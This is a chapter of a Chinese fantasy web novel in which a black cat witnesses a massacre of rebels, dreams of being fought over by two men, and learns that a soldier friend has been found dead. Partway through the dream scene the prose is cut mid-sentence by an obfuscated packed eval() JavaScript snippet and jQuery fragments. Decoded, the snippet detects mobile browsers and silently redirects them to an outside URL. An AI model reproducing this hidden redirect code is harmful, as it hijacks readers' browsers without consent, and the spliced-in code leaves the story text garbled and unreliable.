默认冷灰
24号文字
方正启体

108. 108.幻梦

作者:青相雨本书字数:K更新时间:
    大雪飞舞,雪人依然立在营地中央,一半莹白,一半血红。


    卢克看到一只手撑着雪人的身子,雪人身后的少年,似乎想要站起身来,但费了好一番力气,甚至差点将雪人的头颅压垮,他都没能站起来——


    他倒在了血泊中,绝望地睁着双目,脖子上有一道深红的剑痕。


    倒下的那个少年,杜瓶和卢克都认得,那是刚刚和卢克一起堆雪人的少年米哈伊尔。


    白发男人手握滴血的长剑,从漫天的大雪中走出,冷冷盯着帐篷前安坐的卢克。


    “你生病了?”


    卢克愣了好久好久,点了点头。


    他将一把短铳扔到了他的手里,“自己逃走,我不负责救你。”


    “长……长官……我们的士兵呢?”


    “在营地外围和那些抵抗军作战。”


    “……您怎么会独自进来?”


    兰琉斯神色依然冷酷,“当然是来找卡林特的。”


    他将视线移转到了左侧,一个高个女人和少年站在不远处。


    那少年双唇翕动,“米哈伊尔!”


    他要冲过去,却被女人一把推到了身后,“跑!基里!去找你爸爸!”


    少年还欲往前,注视着女人脸上震怒的神情,只得一边掉泪一边仓皇逃走。


    “对,让卡林特来找我。”兰琉斯懒懒地说道,“省得我还要把他揪出来,我奉旨来取他的头颅,不杀了他我不可能离开——”


    女人望向倒在雪人身侧的米哈伊尔,眼中悲恨与怒火交织不断,“你杀了我的孩子!你是兰琉斯!那个白头发的恶魔!”


    “他要杀我,我就杀了他,有什么不对吗?”


    兰琉斯歪了歪头。


    艾琳沉下目光,她抬起手,两柄弯刀在手中飞快转动,身体却已经掠至白发男人身侧,兰琉斯躲开她疾驰而来的身影。


    女人手里的弯刀只割破了他的衣角,他反手握剑,用剑柄将她直直打落在雪地中。


    她倒在了地上——卢克的面前。


    “杀了她。”


    兰琉斯冷声命令。


    “长官……我……”


    兰琉斯淡淡说道:“我要去找卡林特,别让她妨碍我。”


    卢克有些握不稳手中的短铳,但艾琳已经从雪地里抬起了头,用布满杀意的血红双瞳瞪视着他。


    即便杜瓶现在能够说话,她也无法替卢克做出这个选择,因为女人眼中的猩红已清楚地表明了,他不杀她,她就会杀了他。


    可就在昨晚,他病得要死的时候,这个女人照顾了他一夜,一口一口喂他喝下了药汤。


    卢克双目空然,艾琳却已经扑了上来,手中弯刀劈向错愕的卢克。


    “嘭!!!”


    震天的铳响,子弹射穿了她的胸口,弯刀掉落在雪地中,银如月光,她在地上匍匐着,往营地中央的雪人爬去,喘息声粗重浓烈。


    她爬到了血泊中,将米哈伊尔的头搂进怀里,用颤抖的手合上他的双目。


    “孩子,我在这里,孩子……”


    短铳落在了地上,卢克呆呆望着雪地中交叠的两具尸体。


    他忽然丢下手里的短铳,起身往营地外跑去,杜瓶跟着他一同奔出营地。


    外面果真如兰琉斯所说,经过了一场激烈的交战,湖边躺满尸体,有抵抗军的,但大多数,竟然是穿着军装的帝国士兵,这些手持弯刀的东洛人竟骁勇至此。


    卢克跑着跑着,忽然停下了脚步,杜瓶也停留在那负伤的士兵身前。


    是那个胖胖的男人,他身上有不少刀伤,还少了一条腿。


    “尤纳?你怎么在这里?”


    卢克立刻俯下身,颤抖着握住士兵沾满血的手,名为尤纳的男人用力喘息着,“听我说,卢克……我还在……还有很多人在安戈等着你……你的妈妈,你的恋人……听我说,卢克……”


    他没能说完。


    “走……尤纳,我带你走……”


    卢克试图将昏死的胖男人拉起身,但他病得没有力气,他喘着气,倒在尤纳身侧,没有哭,他没有哭。


    黑猫却记得他是个很喜欢掉眼泪的男孩。


    风雪婆娑吹去,还有不少抵抗军在与帝国士兵厮杀着,莹白梦幻的森林仿佛笼罩着一片不透风的血雾,混沌而腥臭。


    忽然间,营地最高处的木塔上,响起了冰冷的声音——


    “抵抗军将领卡林特,已伏诛。”


    白发骑士站在最高处,风雪将他身后的白色披风吹掀得猎猎,长剑仍在淌血,他另一只手,则高高拽起一只苍白的头颅。


    卡林特眼珠灰暗,死状相当从容。


    不知为何,就连只是曾去送过信的杜瓶,都在此时感到了深深的骇然。


    随着首领伏诛,底下拼杀的抵抗军瞬间乱作一团。


    “恶魔的野种!”


    伊冬冲出重重士兵的包围,他涨红了脸,高高举着刀子,却被身后无数子弹射成了蜂窝,他蜷在地上,壮烈地死去。


    历时一日,葬血河谷的抵抗军终于被帝国士兵尽数剿灭,军队绑了几个俘虏要带回冬凛城,重伤的尤纳被担架抬走,兰琉斯命人将卡林特的脑袋放在铁盒里带回去,他要将这东西献给皇帝陛下。


    而后,他来到了满手血迹的卢克身边,微微抬起了双眸,“走吧。”


    卢克双肩抖了一下。


    “你是新兵,没打过仗吗?”


    “怎么样了?”卢克忽然开口问道,“我们胜利了吗?”


    兰琉斯点头,“胜利了。”


    “我……胜利了?”


    “当然,这是一桩了不起的战功,你会得到应有的嘉奖。”


    “太好了……”卢克抬起头,沾满血的脸上漾出灿烂的笑容,“太好了!”


    兰琉斯扭头,翻身上马离去。


    杜瓶紧紧贴着卢克的脚踝,不管怎么,卢克没有死,这真的是太好了。


    【我真的改变了历史,又或者一切只是一场幻梦。】


    *


    杜瓶抬起头,发现自己回到了夜晚的庭院,卢克手捧鲜花站在她的面前,她慢慢起身,转过头,发现兰琉斯也站在门口。


    “小瓶子……”他怔怔地望着门口的白发男人,“你怎么背着我和别的男人恋爱?”


    杜瓶打了个激灵,“卢克,我……”


    身后兰琉斯冷冷说道:“他回来了,所以,你要选他还是我?”


    两个男人同时走向她,一前一后分别拽着她的一只胳膊,杜瓶感到胸腔都要被撕裂开了,“噗嗤”一下,他们竟真的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060901|182661||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    把她撕成了两半。


    杜瓶的这一半望着杜瓶的另一半。


    兰琉斯与卢克同时抱住了一半的杜瓶,也同时开口:“你是我的,瓶瓶/小瓶子。”


    杜瓶蓦然惊醒,看着大理石地板上倒映的黑色小身影,松了口气,“靠,吓死我了,还以为真进修罗场了!”


    不过,既然做了这个梦,是不是代表她真的在思考万一卢克回来要如何跟他交代?


    没什么好交代的,即便他没死,他也是给她写了那封分手信的,她现在已经是兰琉斯的恋人了,不可能再与他有什么瓜葛。


    再说了,就算卢克想走修罗场剧情,也得问兰琉斯答不答应呢。


    杜瓶如此想着,漫步在冬凛城的堡垒大厅内。


    这里灯光粲然,挤满了各个身着军装的将领、军官、士兵。


    卢克的朋友尤纳侥幸存活了下来,他失去了一条腿,被带回了冬凛城救治,如今正在医院养伤,只是往后可能要靠假肢生活。


    军中的禁酒令只有在胜利之夜可以不作数,或许是为了庆祝胜利及尤纳的死里逃生,卢克与士兵们痛饮了许多美酒,还迷迷糊糊地跳了一支独舞。


    虽然那舞姿滑稽到令在场的军官士兵们都忍不住捧腹大笑。


    杜瓶将头搁在地砖上,她觉得,这应当也是最好的结局了。


    兰琉斯与拉托维站在一起,两人在聊天,虽然多半是卡林特在吹捧兰琉斯的英勇无敌,兰琉斯礼貌地“嗯”两声。


    卢克喝醉了,酩酊大醉,几乎要倒在地上,于是一个士兵扶着他,将醉醺醺的他带了下去。


    兰琉斯看着下场的卢克,对拉托维道:“说起来,那个叫卢克的少尉,这次深入敌方腹地,立下了大功,他是一名很英勇的军官,值得一枚勋章,或是升职——”


    “这是当然!”拉托维满脸笑容,“不瞒您说,卢克·俾米斯一直是我非常中意的下属,要不是之前发生了一点小小的插曲,以他的身手,我肯定得让他多多去前线战场锻炼!”


    兰琉斯微微抬起眼皮,“插曲?”


    “都是一些无关紧要的事情。”拉托维挥挥手,“来来,我们继续喝酒,大人!等您回了圣都,可要在陛下面前替我美言几句!”


    兰琉斯拿起酒杯,略微抿了两口。


    冬凛城的庆功宴直到深夜才结束,兰琉斯这次没怎么喝酒,他抱起呼呼大睡的小猫,疲惫地走回了自己的房间。


    杜瓶在兰琉斯的床上一觉睡到了大天亮,隔天是个晴天,下了好几天的雪终于停了下来,她欢快地跳下床,却发现兰琉斯不在。


    她从窗户钻出去,往戍城部里头走,或许是昨晚的宴会过于放纵,今天的戍城部冷冷清清的。


    杜瓶干脆去三处找卢克玩,他昨天喝了很多酒,也不知道现在醒了没。


    卢克住的地方不是那么显眼,在戍城部一个池塘边上,平时没什么人出没,但离院子越近,杜瓶却发现人越多,不知发生了什么,她加快脚步,穿过那些穿着白色军装的男女士兵。


    她听到他们在议论。


    “昨晚死了个人!”


    “谁?”


    “大败抵抗军的功臣,好像叫——卢克·俾米斯!”


    没有下雪,但那只小小的黑猫却被冻僵在雪地中。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)